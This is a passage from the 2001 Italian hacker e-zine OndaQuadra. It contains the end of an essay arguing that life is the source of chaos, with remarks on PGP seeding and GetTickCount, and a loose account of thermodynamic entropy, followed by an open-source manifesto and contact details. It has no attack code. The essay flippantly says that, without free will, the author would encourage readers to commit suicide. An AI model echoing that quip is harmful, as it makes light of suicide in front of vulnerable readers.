due di questi individui si incontrano e | | scoprono di | | essere simili: come il lupo diventa aggressivo e ostile non appena un altro | | maschio | | entra nel suo territorio (insidiando il posto da capobranco nonchè l'harem), | | così | | queste persone, sentendo che il centro dell'attenzione non è più focalizzato | | esclusivamente su di loro, cambiano repentinamente umore e diventano seccate | | e nervose. | | Invece di rallegrarsi per aver trovato qualcuno che condivide le loro idee e | | con cui | | poter dialogare, essi attaccano il "rivale" per porlo in imbarazzo e fanno | | di tutto per | | scovare un QUALCOSA nella loro quasi identica visione dell'esistenza su cui | | trovarsi in | | disaccordo e mettersi a litigare. Ciò è molto deprimente, ma vi assicuro che | | ho | | assistito spesso a scene così penose... | | | | Questo capitolo serve principalmente a sfatare la visione del dio-caos (non | | è una | | bestemmia, eh? Prego notare la "d" minuscola...), in quanto l'esperienza e | | la storia | | dell'uomo (nonchè il ragionamento) ci insegnano che ogni evento con cui | | l'umanità si è | | trovata di fronte è stato "sconfitto", cioè compreso, smontato equazione per | | equazione, | | skiaffato su libri e cd e venduto al grande pubblico. Ciò che oggi (anno | | 2001) ci | | sembra insormontabile ed incomprensibile potrebbe essere superato anche | | domani grazie | | all'evoluzione che sforna in continuazione gente dal cervello più grosso | | (anche se | | spesso più rigonfio di segatura...) e macchine più veloci (e più buggate :P | | ). Chissà | | che con una potenza di calcolo mostruosa non si possa tracciare un grafico | | dei numeri | | primi e scoprire che formano una struttura frattale perfetta e regolare (e | | chissà che | | l'NSA non l'abbia GIA' FATTO, trovando così il sistema di fottere l'RSA...), | | e che con | | i super-computer del futuro non sia possibile prevedere il punto d'impatto | | di ogni | | singola goccia di pioggia durante un temporale! la considerazione a cui ci | | portano | | questi ragionamenti è la seguente: | | | | NON ESISTE UNA FORMA DI CAOS PURO | | | | cioè inteso come "forza incorporea", dipendente dal mondo materiale. Il caos | | in questo | | senso è una pia illusione, derivata dalla limitatezza delle nostre menti e | | dei nostri | | strumenti. Non troveremo mai il caos all'interno di modelli | | fisico-matematici poichè | | la realtà è ORDINATA E PERFETTA, a patto di avere la capacità di comprendere | | la trama | | spesso complicata che la regola. | | | | <lettore> Ma se a me servissero, non so, due etti e mezzo di Caos | | grattugiato... | | Dove dovrei andare? | | | | Se credi al quarto punto di prima la risposta è semplice: | | | | LA VITA E' LA FONTE DEL CAOS | | | | d'altro canto, se non ci credi ci sono molte domande a cui non potresti mai, | | nemmeno | | in teoria, trovare una risposta, nonchè molti aspetti della vita terrena che | | non | | potresti spiegare. L'unica cosa che non siamo mai riusciti a prevedere in | | maniera | | precisa e inconfutabile sono le azioni degli esseri viventi: indovinare se | | il prossimo | | germoglio spunterà sul lato destro o sinistro di un ramo è difficile quanto | | indovinare | | la prossima mossa di un campione di scacchi, e NON SOLO perchè le variabili | | in gioco | | sono tantissime (fosse per quello basterebbe aspettare, come già detto, di | | avere | | tecnologia adeguata). Se un giorno riuscissimo a dire: "calcolata la | | concentrazione di | | ormone X nel sangue di un individuo, la composizione del suo codice genetico | | e della | | colazione che ha mangiato stamattina, più i legami chimici tra i suoi | | neuroni della | | memoria etc. appare evidente che se incontrasse la donna Y all'ora Z di oggi | | se ne | | innamorerebbe perdutamente..." beh, se ci riuscissimo questa sarebbe la | | prova | | definitiva della non-esistenza dell'anima - e del caos - poichè | | significherebbe | | comprendere scientificamente i SENTIMENTI, a quel punto il caos resterebbe | | una | | semplice utopia. Invece la realizzazione dell'Intelligenza Artificiale NON | | BASTEREBBE | | da sola a invalidare la tesi dell'anima, poichè non è assurdo pensare che la | | vita possa | | annidarsi anche in corpi composti da materia diversa da cellule e carbonio | | (dopotutto, | | se l'anima esiste, non può essere legata a qualcosa di materiale, no?), la | | invaliderebbe invece la REALIZZAZIONE ARTIFICIALE DELL'ANIMA, ma il problema | | è che non | | si può "creare" qualcosa di immateriale, quindi quest'evenienza resta | | remota. D'altro | | canto se l'anima esiste la si potrebbe riconoscere da una caratteristica che | | sarebbe | | una sua "esclusiva": il Libero Arbitrio. Se noi non siamo responsabili delle | | nostre | | azioni, allora non esiste moralità, ideologia o scopo della vita che tenga, | | anzi, vi | | incoraggerei al suicidio per abbandonare in fretta questa valle di | | lacrime... Ebbene, è | | proprio quel libero arbitrio, che rappresenta qualcosa di imprevedibile ed | | inviolabile, | | a generare intorno ad ogni essere vivente un "campo di caos", | | un'interferenza che | | disturba e modifica l'ordinato ambiente circostante. | | | | | | [Gli RNG] | | | | (non preoccupatevi se da qui in poi potreste non capire alcuni termini, | | saranno spiegati | | + in là. Mi dispiace ma ho rimasto davvero POCO tempo...) | | | | RNG = Random Number Generator, cioè generatori di numeri casuali. Già, ve lo | | siete mai | | chiesti come fanno i software di crittografia a generare dati casuali per | | creare chiavi | | segrete se è vero che il caos puro non esiste? | | | | <lettore> già, dici bene: SE il caos puro non esiste... | | | | | | | | Non vi trovo molto convinti su questo punto, vero? Fanniente, andiamo | | avanti... | | Ma ve lo dico io come fanno: il PGP ad esempio quando ha bisogno di una | | sequenza | | casuale di bit (i cosiddetti "randseed") per generare le chiavi, chiede | | all'utente di | | digitare a caso dei tasti o di smuovere il mouse. Le informazioni random si | | ottengono | | misurando gli intervalli di tempo (parliamo di millisecondi, eh?) tra i | | keystrokes, | | oppure la velocità e direzione del mouse punto per punto. In parole povere, | | il PGP per | | generare i randseed ha bisogno DELLE AZIONI DI UN ESSERE VIVENTE (noi | | appunto...), | | poichè di qualsiasi altra fonte potrebbe essere compresa la trama | | pseudo-casuale che | | la regola, compromettendo così la sicurezza del generatore random. Alcuni | | software più | | scaccioni utilizzano tipicamente la chiamata API GetTickCount: questa | | restituisce un | | valore Long (DW) che indica il numero di millisecondi (in modulo 2^32) da | | quando | | WinRoito è stato avviato, ciò costituisce un valore di partenza al quale può | | essere | | applicato a non finire un algoritmo one-way che genera sempre nuove | | sequenze. Invece | | quelli più "deluxe" si appoggiano all'input audio (microfono), chiedendo | | all'utente di | | registrare una sequenza di rumori ambientali. Infatti anche in quello che | | per noi è | | silenzio assoluto esiste sempre un certo "rumore di fondo" (detto in gergo | | "noise", | | usato anche in applicazioni di elettronica) per noi impercettibile e molto | | disturbato | | - diremo in seguito "ad alta entropia" - che fornisce dati random. Ma in | | entrambi | | questi casi, cosa fa il software se non appoggiarsi di nuovo al campo di | | caos generato | | dai viventi? Non è l'incertezza del dito dell'utente che decide se accendere | | WinBoia | | un millisecondo prima o uno dopo? E se il rumore è un fattore ambientale, | | cosa che | | abbiamo detto NON RAPPRESENTARE DIRETTAMENTE CAOS, non sono forse le azioni | | dei | | viventi che ne modificano direttamente (parole, suoni) o indirettamente | | (rumori di | | attività umane o di eventi generati dai viventi) le grandezze? | | | | Vostro onore, rinuncio a presentare altre prove. La tesi è sempre quella: | | | | LA VITA E' LA FONTE DEL CAOS. | | | | | | ================ | | *** ENTROPIA *** | | ================ | | L'Entropia è stata inizialmente introdotta nella Termodinamica: essa è una | | grandezza fisica che si esprime in uno scambio di calore Q ad una | | temperatura T come | | il RAPPORTO TRA IL CALORE SCAMBIATO ISOTERMICAMENTE E LA TEMPERATURA ALLA | | QUALE | | AVVIENE LO SCAMBIO. | | | | Prendiamo una trasformazione termica irreversibile (cioè che avviene | | spontaneamente | | solo in un senso), come il passaggio di calore da un corpo caldo ad uno | | freddo. Se | | mettiamo a contatto un corpo caldo con uno freddo, il calore fluisce | | spontaneamente | | dal primo al secondo fino a raggiungere una temperatura d'equilibrio: da lì | | in avanti | | si ha una situazione di stallo in cui non sarà mai più possibile un flusso | | di calore. | | Ora, assumiamo che T(1) sia la temperatura minore, T(2) quella maggiore, Q | | il calore | | scambiato (uscente, cioè negativo, da 2 ed entrante, cioè positivo, in 1) e | | S il | | simbolo dell'Entropia. | | | | S(1) = Q / T(1) | | | | S(2) = - Q / T(2) | | | | vediamo come è variata l'entropia totale del sistema (variazione d'entropia | | = ^S), | | sommiamo cioè le entropie: | | | | ^S = S(1) + S(2) | | | | cioè: | | | | ^S = Q / T(1) - Q / T(2) | | | | ma questa differenza non fa 0, poichè T(1) < T(2): la variazione d'entropia | | è | | positiva, quindi l'entropia del sistema è aumentata. Come vorrei dimostrarvi | | se | | avessi il triplo del tempo, TUTTE LE TRASFORMAZIONI IRREVERSIBILI AUMENTANO | | L'ENTROPIA DELL'UNIVERSO. E tutte le trasformazioni che avvengono in natura | | sono | | irreversibili, cioè hanno un "senso" prediletto, la combustione ad esempio: | | quando | | un combustibile brucia (e una volta acceso lo fa spontaneamente) si | | trasforma in | | fumo e calore. Ma avere fumo e calore NON E' EQUIVALENTE ad avere un | | combustibile, | | poichè col combustibile puoi ottenere fumo e calore, ma non è vero il | | contrario! Una | | variazione di entropia insomma indica una variazione dell'ENERGIA | | UTILIZZABILE nel | | sistema: quando tutta l'energia degrada, il sistema è diventato stabile, | | cioè non | | può più compiere lavoro. | | E allora... sinistro enunciato di Clausius: | | | | L'ENTROPIA DELL'UNIVERSO E' IN COSTANTE AUMENTO. | | | | <lettore> Vabbuò, ma a me che mme ne futt'?... | | | | Eh, già, che ce ne futt'? Come mai alcune persone sbroccano e ridono da | | pazzi | | invocando la morte se sentono parlare di entropia? | | | | [La "Morte Entropica"] | | Non so se ne avete mai sentito parlare. E' un'ipotesi secondo la quale il | | costante aumento dell'entropia fa "invecchiare" il nostro mondo. L'entropia, | | come il tempo, cresce sempre, quindi può rappresentare un indice dell'età | | di un sistema isolato (quale il nostro Universo), assume cioè la | | funzione di "FRECCIA DEL TEMPO", ed indica il verso di percorrenza degli | | eventi. | | L'evolversi dei processi irreversibili verso stadi di maggiore uniformità di | | temperatura, pressione, composizione etc. è strettamente connessa con | | l'evolversi dell'entropia verso stadi di più alta probabilità. Uno stadio di | | più | | alta probabilità è anche più stabile, perciò si assume che una volta | | raggiunto, | | in esso non saranno più possibili variazioni. E quindi niente scambi di | | energia. | | E quindi niente vita... | | Pensate al nostro mondo: quando tutto il carbone sarà bruciato, quando tutte | | le | | stelle si saranno spente e le reazioni chimiche saranno avvenute... COME | | SARA' | | POSSIBILE LA VITA? Avremo raggiunto la MASSIMA ENTROPIA, cioè la MORTE | | DELL'UNIVERSO. | | | | L'entropia può essere considerata quindi la misura del caos di un sistema: | | un'alta entropia indica una distribuzione uniforme e stabile, mentre una | | bassa | | entropia indica che alcune grandezze sono "sbilanciate", organizzate in | | strutture | | ordinate, comprensibili e quindi... instabili. | | Facciamo un esempio: prendete un mazzo di carte ordinate in base al segno, | | al | | colore e al punteggio una dopo l'altra. Siete di fronte ad un sistema a | | BASSA | | ENTROPIA, poichè è poco caotico - anzi, è ordinatissimo! - ed instabile. | | Perchè è | | instabile? Mischiate il mazzo e osservate la nuova sequenza. Mischiatelo | | ancora e | | fermatevi quando, casualmente, non avrete ottenuto la STESSA sequenza | | ordinata di | | prima. Come mai non vi riesce? Eppure la possibilità c'è! Semplice: perchè | | di | | tutti gli stati possibili, quello ordinato è uno tra tantissimi, quindi è | | MENO | | PROBABILE - e di conseguenza più instabile, poichè ogni trasformazione | | cambia lo | | stato del sistema. | | | | Altri esempi: | | | | A A A . . . A . . . A A | | A A A . . . . . A A . . | | A A A . . . . A A A A A | | A A A . . . . A . . A . | | A A A . . . A . . . . . | | A A A . . . A A . A A A | | | | Il sistema a sinistra è a bassa entropia, perchè la distribuzione degli | | elementi | | non è uniforme. La seconda invece è più caotica, quindi più uniforme, quindi | | a | | maggior entropia. | | | | In conclusione: un alto livello di entropia è indice della CAOTICITA' di un | | sistema, ovvero dell'incapacità umana di ridurlo a funzioni più semplici. Ma | | è | | anche un indice della sua UNIFORMITA', ed è il caso di riflettere su come | | nella | | vita quotidiana siamo portati ad accomunare l'uniformità con l'ordine. E | | quindi, | | se qualcuno vi chiedesse cos'è l'entropia, voi dovreste rispondergli che è | | quella cosa che fa bruciare il carbone e invecchiere le persone ;) . Ne | | deriva | | una nuova visione dei concetti di ordine, caos ed entropia che spero siate | | riusciti seppur a grandi linee ad afferrare, perchè... ho proprio il | | presentimento di essermi spiegato malino :) | | | | | | | | OOOKKEI! Ed anche questa è fatta! | | Uff, stavolta ho faticato davvero tanto, me lo diceva sempre la mamma quando | | andavo a scuola che non sapevo organizzarmi il tempo :PPP | | Il capitolo è finito, spero che VI SIATE annoiati e che smettiate di leggere | | certa roba... PASSATE A DONNA MODERNA!!! =))) | | A partire dalla prossima volta comunque (e badate che NON è una promessa), | | spero | | proprio di cominciare a parlare anche di roba utile che magari non sia già | | nota a | | tutti voi. | | | | Saluti, e mi raccomando... armatevi e tenetevi pronti! }B] | | | | | | Ah, a proposito, tengo a precisare che "********" non sta assolutamente | | per "TRECCANI": la Treccani mi fa cagare e la uso solo quando finisco la | | carta al gabinetto! | | | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [SHUTD0WN] #04 - 19/11/2001 | | NU0VA TERRA Di CONQUiSTA [Tritemius] 0x22/0x23 | +-------------------------------------------------------------------------------+ | | | [da "Latinoamerica" n.74, www.giannimina-latinoamerica.it] | | | | Le idee non appartengono agli uomini ma all'umanità. Grazie a Internet si è | | diffusa una grande idea e un grande progetto. L'"Open source", ovvero | | programmi non commerciali più potenti di quelli dei colossi multimiliardari, | | dimostra che sviluppo e innovazione sono possibili anche senza la necessità | | del profitto, il giogo dei diritti esclusivi, lo sfruttamento. Ma questo | | mondo è in pericolo, per diversi motivi. Il primo, e più palese, è la | | drammatica impreparazione della classe dirigente di fronte al nuovo mezzo. | | Poi vi è la paura degli oligarchi nei confronti di questa realtà sconosciuta | | e potenzialmente rivoluzionaria. Infine la natura intrinseca del liberismo | | che pretende di imporre le proprie leggi e la propria cultura annientando le | | leggi e le culture altrui. | | | | La Rete come strumento di libertà | | Strategie libertarie nell'era dell'informazione | | | | La Rete rappresenta oggi lo strumento radicale della libertà di pensiero. Da | | sempre la produzione e la diffusione delle idee avviene tramite | | organizzazioni spontanee, informali, "ad-hoc cratiche". La Rete è un | | ambiente ostile per la cristallizzazione dei ruoli e la burocratizzazione. | | La censura nella rete è praticamente impossibile. Le forze oscurantiste | | possono ottenere vittorie parziali, ma la natura della Rete e della cultura | | che l'ha creata provvede a creare le contromisure necessarie. | | Nei romanzi di Gibson si chiamano "lotec" (low-tech, tecnologia<economica) i | | "cyberpunk", ribelli e spiriti liberi della nuova era dell'informazione che | | combattono la Yakuza (la mafia giapponese | | globalizzata) contro le Zaibatsu, ovvero le multinazionali. | | Ma la letteratura cyberpunk non è fantascienza, bensì una visione | | iperrealista della realtà. | | | | Contraddizioni della tecnologia | | Il pericolo della tecnologia | | | | Naturalmente ci sono dei problemi. La demonizzazione (degli hacker per | | esempio) e il riferimento a qualche oscura "minaccia esterna" è la tattica | | che tutti i regimi utilizzano per indurre il popolo | | a stringersi intorno alla classe dirigente. Oggi anche Internet si può | | prestare a questo gioco. | | Ma anche un approccio sbagliato degli individui agli strumenti tecnologici | | può essere pericoloso. | | L'accettazione acritica dei nuovi strumenti, l'incapacità di elaborare e | | decodificare le dinamiche indotte dal nuovo rapporto tra l'uomo e la | | tecnologia, è pericolosa. | | L'identificazione di Internet con un contenitore verticale, un portale | | "regalato" da qualche colosso delle telecomunicazioni (fideizzazione) è un | | pericolo grave. | | La frammentazione o l'eccesso di informazione possono indurre nell'individuo | | sconforto, confusione, nichilismo, qualunquismo. | | Gli opulenti occidentali moderni non dovrebbero mai dimenticare (o | | dovrebbero essere correttamente informati) che dietro alle sfavillanti | | imprese dei Paesi "liberi" e "democratici" del Nuovo Ordine Mondiale, si | | nascondono realtà drammatiche, tragiche, tremende. | | | | Tramonto o Aurora | | Se la tecnologia, e Internet in particolare, non riusciranno a scuotere le | | coscienze degli uomini della nostra civiltà astratta, sradicata e vanesia, | | mossa solo da un'ottusa volontà di potenza, l'Umanità avrà perso una grande, | | e forse definitiva, possibilità di riscatto. | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [C0NTATTi] #04 - 19/11/2001 | | D0VE TR0VARCi [oq ~ staff] 0x23/0x23 | +-------------------------------------------------------------------------------+ | Sul Web: | | http://ondaquadra.cjb.net | | http://www.hackerzine.org | | http://www.bismark.it | | | | Mail: | | mail@ondaquadra.cjb.net | | | | Gli articoli mandateli qui: | | articoli@ondaquadra.cjb.net | | | | IRC: | | irc.azzurranet.org - IPv4 <> ngnet.azzurra.org - IPv6 | | #ondaquadra | | #hackmaniaci | +-------------------------------------------------------------------------------+